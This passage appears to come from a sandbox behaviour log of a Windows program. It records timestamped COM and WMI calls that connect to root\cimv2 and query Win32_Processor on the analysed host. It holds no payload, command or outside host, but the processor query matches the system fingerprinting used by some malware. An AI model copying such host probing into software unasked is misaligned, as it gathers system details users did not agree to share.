Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecd0 | out: ppvObject=0x3cecd0*=0x573daa8) returned 0x0 [0189.453] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.453] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3cee58*=0xf, pszText="00000000000000" | out: puBuffLength=0x3cee58*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0189.453] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x1 [0189.459] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3ced58*=0x2dc, lpdwindex=0x3cebb4 | out: lpdwindex=0x3cebb4) returned 0x0 [0189.682] CoGetContextToken (in: pToken=0x3ceddc | out: pToken=0x3ceddc) returned 0x0 [0189.682] CoGetContextToken (in: pToken=0x3ced88 | out: pToken=0x3ced88) returned 0x0 [0189.682] IUnknown:QueryInterface (in: This=0x599460, riid=0x7457beb4*(Data1=0x1da, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ced5c | out: ppvObject=0x3ced5c*=0x599470) returned 0x0 [0189.683] CObjectContext::ContextCallback () returned 0x0 [0189.690] IUnknown:Release (This=0x599470) returned 0x1 [0189.690] CoUnmarshalInterface (in: pStm=0x5f46e8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3cede0 | out: ppv=0x3cede0*=0x5ffa0c) returned 0x0 [0189.690] CoMarshalInterface (pStm=0x5f46e8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5ffa0c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0189.690] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cea00 | out: ppvObject=0x3cea00*=0x5ffa0c) returned 0x0 [0189.690] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x744e4204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x3ce9bc | out: ppvObject=0x3ce9bc*=0x0) returned 0x80004002 [0189.691] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x74410b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x3ce8b0 | out: ppvObject=0x3ce8b0*=0x0) returned 0x80004002 [0189.692] WbemLocator:IUnknown:AddRef (This=0x5ffa0c) returned 0x3 [0189.692] CoGetContextToken (in: pToken=0x3ce848 | out: pToken=0x3ce848) returned 0x0 [0189.692] CoGetContextToken (in: pToken=0x3ce80c | out: pToken=0x3ce80c) returned 0x0 [0189.692] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce840 | out: ppvObject=0x3ce840*=0x5992fc) returned 0x0 [0189.692] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce870 | out: pAptType=0x3ce870*=3) returned 0x0 [0189.692] IUnknown:Release (This=0x5992fc) returned 0x1 [0189.692] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x743c23cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce830 | out: ppvObject=0x3ce830*=0x5ff96c) returned 0x0 [0189.692] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x5ff96c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x3ce838 | out: pCid=0x3ce838*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0189.692] WbemLocator:IUnknown:Release (This=0x5ff96c) returned 0x3 [0189.692] CoGetContextToken (in: pToken=0x3ce840 | out: pToken=0x3ce840) returned 0x0 [0189.692] WbemLocator:IUnknown:AddRef (This=0x5ffa0c) returned 0x4 [0189.692] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x7441767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce8b4 | out: ppvObject=0x3ce8b4*=0x5ff9f4) returned 0x0 [0189.692] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x4 [0189.693] WbemLocator:IRpcOptions:Query (in: This=0x5ff9f4, pPrx=0x5ffa0c, dwProperty=2, pdwValue=0x3ce8d8 | out: pdwValue=0x3ce8d8) returned 0x0 [0189.693] WbemLocator:IUnknown:Release (This=0x5ff9f4) returned 0x3 [0189.693] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x2 [0189.693] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x1 [0189.693] CoGetContextToken (in: pToken=0x3ce89c | out: pToken=0x3ce89c) returned 0x0 [0189.693] WbemLocator:IUnknown:AddRef (This=0x5ffa0c) returned 0x2 [0189.693] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb40 | out: ppvObject=0x3ceb40*=0x5ff9ec) returned 0x0 [0189.693] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5ff9ec, pProxy=0x5ffa0c, pAuthnSvc=0x3ceb88, pAuthzSvc=0x3ceb84, pServerPrincName=0x3ceb94, pAuthnLevel=0x3ceb8c, pImpLevel=0x3ceb78, pAuthInfo=0x3ceb7c, pCapabilites=0x3ceb80 | out: pAuthnSvc=0x3ceb88*=0xa, pAuthzSvc=0x3ceb84*=0x0, pServerPrincName=0x3ceb94, pAuthnLevel=0x3ceb8c*=0x6, pImpLevel=0x3ceb78*=0x2, pAuthInfo=0x3ceb7c, pCapabilites=0x3ceb80*=0x1) returned 0x0 [0189.693] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x2 [0189.693] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb34 | out: ppvObject=0x3ceb34*=0x5ffa0c) returned 0x0 [0189.693] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb30 | out: ppvObject=0x3ceb30*=0x5ff9ec) returned 0x0 [0189.694] WbemLocator:IClientSecurity:SetBlanket (This=0x5ff9ec, pProxy=0x5ffa0c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.694] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x3 [0189.694] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x2 [0189.694] CoTaskMemFree (pv=0x5c9b00) [0189.694] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x1 [0189.699] SysStringLen (param_1=0x0) returned 0x0 [0189.701] GetLastError () returned 0x7e [0189.701] CoGetContextToken (in: pToken=0x3cecbc | out: pToken=0x3cecbc) returned 0x0 [0189.701] CoGetContextToken (in: pToken=0x3cec7c | out: pToken=0x3cec7c) returned 0x0 [0189.701] WbemLocator:IUnknown:AddRef (This=0x5ffa0c) returned 0x2 [0189.701] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x3cecf8*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x3cecf4 | out: ppvObject=0x3cecf4*=0x573dc84) returned 0x0 [0189.702] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x2 [0189.702] WbemLocator:IUnknown:Release (This=0x573dc84) returned 0x1 [0189.702] CoGetContextToken (in: pToken=0x3ce850 | out: pToken=0x3ce850) returned 0x0 [0189.702] CoGetContextToken (in: pToken=0x3ce810 | out: pToken=0x3ce810) returned 0x0 [0189.702] WbemLocator:IUnknown:AddRef (This=0x5ffa0c) returned 0x2 [0189.702] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x3ce88c*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x3ce888 | out: ppvObject=0x3ce888*=0x573dc84) returned 0x0 [0189.702] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x2 [0189.702] WbemLocator:IUnknown:AddRef (This=0x573dc84) returned 0x3 [0189.703] WbemLocator:IUnknown:QueryInterface (in: This=0x573dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb40 | out: ppvObject=0x3ceb40*=0x5ff9ec) returned 0x0 [0189.703] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5ff9ec, pProxy=0x573dc84, pAuthnSvc=0x3ceb88, pAuthzSvc=0x3ceb84, pServerPrincName=0x3ceb94, pAuthnLevel=0x3ceb8c, pImpLevel=0x3ceb78, pAuthInfo=0x3ceb7c, pCapabilites=0x3ceb80 | out: pAuthnSvc=0x3ceb88*=0xa, pAuthzSvc=0x3ceb84*=0x0, pServerPrincName=0x3ceb94, pAuthnLevel=0x3ceb8c*=0x6, pImpLevel=0x3ceb78*=0x2, pAuthInfo=0x3ceb7c, pCapabilites=0x3ceb80*=0x1) returned 0x0 [0189.703] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x3 [0189.703] WbemLocator:IUnknown:QueryInterface (in: This=0x573dc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb34 | out: ppvObject=0x3ceb34*=0x5ffa0c) returned 0x0 [0189.703] WbemLocator:IUnknown:QueryInterface (in: This=0x573dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceb30 | out: ppvObject=0x3ceb30*=0x5ff9ec) returned 0x0 [0189.703] WbemLocator:IClientSecurity:SetBlanket (This=0x5ff9ec, pProxy=0x573dc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.703] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x4 [0189.703] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x3 [0189.703] CoTaskMemFree (pv=0x5c9c50) [0189.703] WbemLocator:IUnknown:Release (This=0x573dc84) returned 0x2 [0189.703] SysStringLen (param_1=0x0) returned 0x0 [0189.703] GetLastError () returned 0x0 [0189.704] CoGetContextToken (in: pToken=0x3cecc0 | out: pToken=0x3cecc0) returned 0x0 [0189.704] CoGetContextToken (in: pToken=0x3cec80 | out: pToken=0x3cec80) returned 0x0 [0189.704] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.704] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cecfc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecf8 | out: ppvObject=0x3cecf8*=0x573daa8) returned 0x0 [0189.704] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0189.704] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x573daa8, puCount=0x3cee74 | out: puCount=0x3cee74*=0x2) returned 0x0 [0189.704] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.704] CoGetContextToken (in: pToken=0x3cecb0 | out: pToken=0x3cecb0) returned 0x0 [0189.704] CoGetContextToken (in: pToken=0x3cec70 | out: pToken=0x3cec70) returned 0x0 [0189.704] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cecec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cece8 | out: ppvObject=0x3cece8*=0x573daa8) returned 0x0 [0189.705] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0189.705] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3cee70*=0x0, pszText=0x0 | out: puBuffLength=0x3cee70*=0xf, pszText=0x0) returned 0x0 [0189.705] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.705] CoGetContextToken (in: pToken=0x3cecb0 | out: pToken=0x3cecb0) returned 0x0 [0189.705] CoGetContextToken (in: pToken=0x3cec70 | out: pToken=0x3cec70) returned 0x0 [0189.705] WbemDefPath:IUnknown:AddRef (This=0x573daa8) returned 0x3 [0189.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x573daa8, riid=0x3cecec*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cece8 | out: ppvObject=0x3cece8*=0x573daa8) returned 0x0 [0189.705] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x3 [0189.705] WbemDefPath:IWbemPath:GetText (in: This=0x573daa8, lFlags=4, puBuffLength=0x3cee70*=0xf, pszText="00000000000000" | out: puBuffLength=0x3cee70*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0189.705] WbemDefPath:IUnknown:Release (This=0x573daa8) returned 0x2 [0189.705] CoGetContextToken (in: pToken=0x3ced4c | out: pToken=0x3ced4c) returned 0x0 [0189.705] CoUnmarshalInterface (in: pStm=0x5f46e8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3ced50 | out: ppv=0x3ced50*=0x5ffa0c) returned 0x0 [0189.706] CoMarshalInterface (pStm=0x5f46e8, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5ffa0c, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0189.706] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x744c7714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce970 | out: ppvObject=0x3ce970*=0x5ffa0c) returned 0x0 [0189.706] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x3 [0189.706] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x2 [0189.706] CoGetContextToken (in: pToken=0x3ce80c | out: pToken=0x3ce80c) returned 0x0 [0189.706] WbemLocator:IUnknown:AddRef (This=0x5ffa0c) returned 0x3 [0189.706] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceab0 | out: ppvObject=0x3ceab0*=0x5ff9ec) returned 0x0 [0189.706] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5ff9ec, pProxy=0x5ffa0c, pAuthnSvc=0x3ceaf8, pAuthzSvc=0x3ceaf4, pServerPrincName=0x3ceb04, pAuthnLevel=0x3ceafc, pImpLevel=0x3ceae8, pAuthInfo=0x3ceaec, pCapabilites=0x3ceaf0 | out: pAuthnSvc=0x3ceaf8*=0xa, pAuthzSvc=0x3ceaf4*=0x0, pServerPrincName=0x3ceb04, pAuthnLevel=0x3ceafc*=0x6, pImpLevel=0x3ceae8*=0x3, pAuthInfo=0x3ceaec, pCapabilites=0x3ceaf0*=0x20) returned 0x0 [0189.706] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x3 [0189.706] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceaa4 | out: ppvObject=0x3ceaa4*=0x5ffa0c) returned 0x0 [0189.706] WbemLocator:IUnknown:QueryInterface (in: This=0x5ffa0c, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceaa0 | out: ppvObject=0x3ceaa0*=0x5ff9ec) returned 0x0 [0189.706] WbemLocator:IClientSecurity:SetBlanket (This=0x5ff9ec, pProxy=0x5ffa0c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.707] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x4 [0189.707] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x3 [0189.707] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x2 [0189.707] SysStringLen (param_1=0x0) returned 0x0 [0189.707] GetLastError () returned 0x0 [0189.707] CoGetContextToken (in: pToken=0x3cec2c | out: pToken=0x3cec2c) returned 0x0 [0189.707] WbemLocator:IUnknown:AddRef (This=0x573dc84) returned 0x3 [0189.707] WbemLocator:IUnknown:Release (This=0x573dc84) returned 0x2 [0189.707] CoGetContextToken (in: pToken=0x3ce7c0 | out: pToken=0x3ce7c0) returned 0x0 [0189.707] WbemLocator:IUnknown:AddRef (This=0x573dc84) returned 0x3 [0189.707] WbemLocator:IUnknown:QueryInterface (in: This=0x573dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceab0 | out: ppvObject=0x3ceab0*=0x5ff9ec) returned 0x0 [0189.707] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5ff9ec, pProxy=0x573dc84, pAuthnSvc=0x3ceaf8, pAuthzSvc=0x3ceaf4, pServerPrincName=0x3ceb04, pAuthnLevel=0x3ceafc, pImpLevel=0x3ceae8, pAuthInfo=0x3ceaec, pCapabilites=0x3ceaf0 | out: pAuthnSvc=0x3ceaf8*=0xa, pAuthzSvc=0x3ceaf4*=0x0, pServerPrincName=0x3ceb04, pAuthnLevel=0x3ceafc*=0x6, pImpLevel=0x3ceae8*=0x3, pAuthInfo=0x3ceaec, pCapabilites=0x3ceaf0*=0x20) returned 0x0 [0189.707] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x3 [0189.707] WbemLocator:IUnknown:QueryInterface (in: This=0x573dc84, riid=0x6a311250*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceaa4 | out: ppvObject=0x3ceaa4*=0x5ffa0c) returned 0x0 [0189.707] WbemLocator:IUnknown:QueryInterface (in: This=0x573dc84, riid=0x6a311260*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ceaa0 | out: ppvObject=0x3ceaa0*=0x5ff9ec) returned 0x0 [0189.708] WbemLocator:IClientSecurity:SetBlanket (This=0x5ff9ec, pProxy=0x573dc84, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.708] WbemLocator:IUnknown:Release (This=0x5ff9ec) returned 0x4 [0189.708] WbemLocator:IUnknown:Release (This=0x5ffa0c) returned 0x3 [0189.708] WbemLocator:IUnknown:Release (This=0x573dc84) returned 0x2 [0189.708] SysStringLen (param_1=0x0) returned 0x0 [0189.708] GetLastError () returned 0x0 [0189.708] CoGetContextToken (in: pToken=0x3cecb8 | out: pToken=0x3cecb8) returned 0x0 [0189.708] CoGetContextToken (in: pToken=0x3cec78 | out: pToken=0x3cec78) returned 0x0 [0189.708] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.708] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3cecf4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecf0 | out: ppvObject=0x3cecf0*=0x573fd10) returned 0x0 [0189.708] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.708] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cee78*=0x0, pszText=0x0 | out: puBuffLength=0x3cee78*=0x10, pszText=0x0) returned 0x0 [0189.708] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.709] CoGetContextToken (in: pToken=0x3cecb8 | out: pToken=0x3cecb8) returned 0x0 [0189.709] CoGetContextToken (in: pToken=0x3cec78 | out: pToken=0x3cec78) returned 0x0 [0189.709] WbemDefPath:IUnknown:AddRef (This=0x573fd10) returned 0x2 [0189.709] WbemDefPath:IUnknown:QueryInterface (in: This=0x573fd10, riid=0x3cecf4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cecf0 | out: ppvObject=0x3cecf0*=0x573fd10) returned 0x0 [0189.709] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x2 [0189.709] WbemDefPath:IWbemPath:GetText (in: This=0x573fd10, lFlags=2, puBuffLength=0x3cee78*=0x10, pszText="000000000000000" | out: puBuffLength=0x3cee78*=0x10, pszText="win32_processor") returned 0x0 [0189.709] WbemDefPath:IUnknown:Release (This=0x573fd10) returned 0x1 [0189.715] CoGetContextToken (in: pToken=0x3ceaac | out: pToken=0x3ceaac) returned 0x0 [0189.715] WbemLocator:IUnknown:AddRef (This=0x573dc84) returned 0x3 [0189.715] IWbemServices:GetObject (in: This=0x573dc84, strObjectPath="win32_processor", lFlags=0, pCtx=0x0, ppObject=0x3cec20*=0x0, ppCallResult=0x0 | out: ppObject=0x3cec20*=0x5745708, ppCallResult=0x0) returned 0x0 [0189.731] WbemLocator:IUnknown:Release (This=0x573dc84) returned 0x2 [0189.733] IWbemClassObject:Get (in: This=0x5745708, wszName="__PATH", lFlags=0, pVal=0x3ceddc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3ceec0*=0, plFlavor=0x3ceebc*=0 | out: pVal=0x3ceddc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\YKYD69Q\\ROOT\\cimv2:Win32_Processor", varVal2=0x0), pType=0x3ceec0*=8, plFlavor=0x3ceebc*=64) returned 0x0 [0189.734] SysStringLen (param_1="\\\\YKYD69Q\\ROOT\\cimv2:Win32_Processor") returned 0x24 [0189.734] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x310 [0189.734] GetLastError () returned 0x0 [0189.734] SetEvent (hEvent=0x290) returned 1 [0189.734] GetLastError () returned 0x0 [0189.734] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3cedd8*=0x310, lpdwindex=0x3ceb90 | out: lpdwindex=0x3ceb90) returned 0x0 [0189.736] CoGetContextToken (in: pToken=0x3cec28 | out: pToken=0x3cec28) returned 0x0 [0189.736] CoGetContextToken (in: pToken=0x3cebe8 | out: pToken=0x3cebe8) returned 0x0 [0189.736] WbemDefPath:IUnknown:AddRef (This=0x573dca8) returned 0x2 [0189.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dca8, riid=0x3cec64*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cec60 | out: ppvObject=0x3cec60*=0x573dca8) returned 0x0 [0189.737] WbemDefPath:IUnknown:Release (This=0x573dca8) returned 0x2 [0189.737] WbemDefPath:IUnknown:Release (This=0x573dca8) returned 0x1 [0189.737] CoGetContextToken (in: pToken=0x3ceca8 | out: pToken=0x3ceca8) returned 0x0 [0189.737] CoGetContextToken (in: pToken=0x3cec68 | out: pToken=0x3cec68) returned 0x0 [0189.737] WbemDefPath:IUnknown:AddRef (This=0x573dca8) returned 0x2 [0189.737] WbemDefPath:IUnknown:QueryInterface (in: This=0x573dca8, riid=0x3cece4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x3cece0 | out: ppvObject=0x3cece0*=0x573dca8) returned 0x0 [0189.737] WbemDefPath:IUnknown:Release (This=0x573dca8) returned 0x2 [0189.737] WbemDefPath:IWbemPath:SetText (This=0x573dca8, uMode=0x4, pszPath="\\\\YKYD69Q\\ROOT\\cimv2:Win32_Processor") returned 0x0 [0189.737] WbemDefPath:IUnknown:Release (This=0x573dca8) returned 0x1 [0189.737] IWbemClassObject:Get (in: This=0x5745708, wszName="__CLASS", lFlags=0, pVal=0x3cee54*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x3cef08*=0, plFlavor=0x3cef04*=0 | out: pVal=0x3cee54*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Processor", varVal2=0x0), pType=0x3cef08*=8, plFlavor=0x3cef04*=64) returned 0x0 [0189.737] SysStringLen (param_1="Win32_Processor") returned 0xf [0189.737] CoGetContextToken (in: pToken=0x3ce6ec | out: pToken=0x3ce6ec) returned 0x0 [0189.738] WbemLocator:IUnknown:AddRef (This=0x573dc84) returned 0x3 [0189.738] 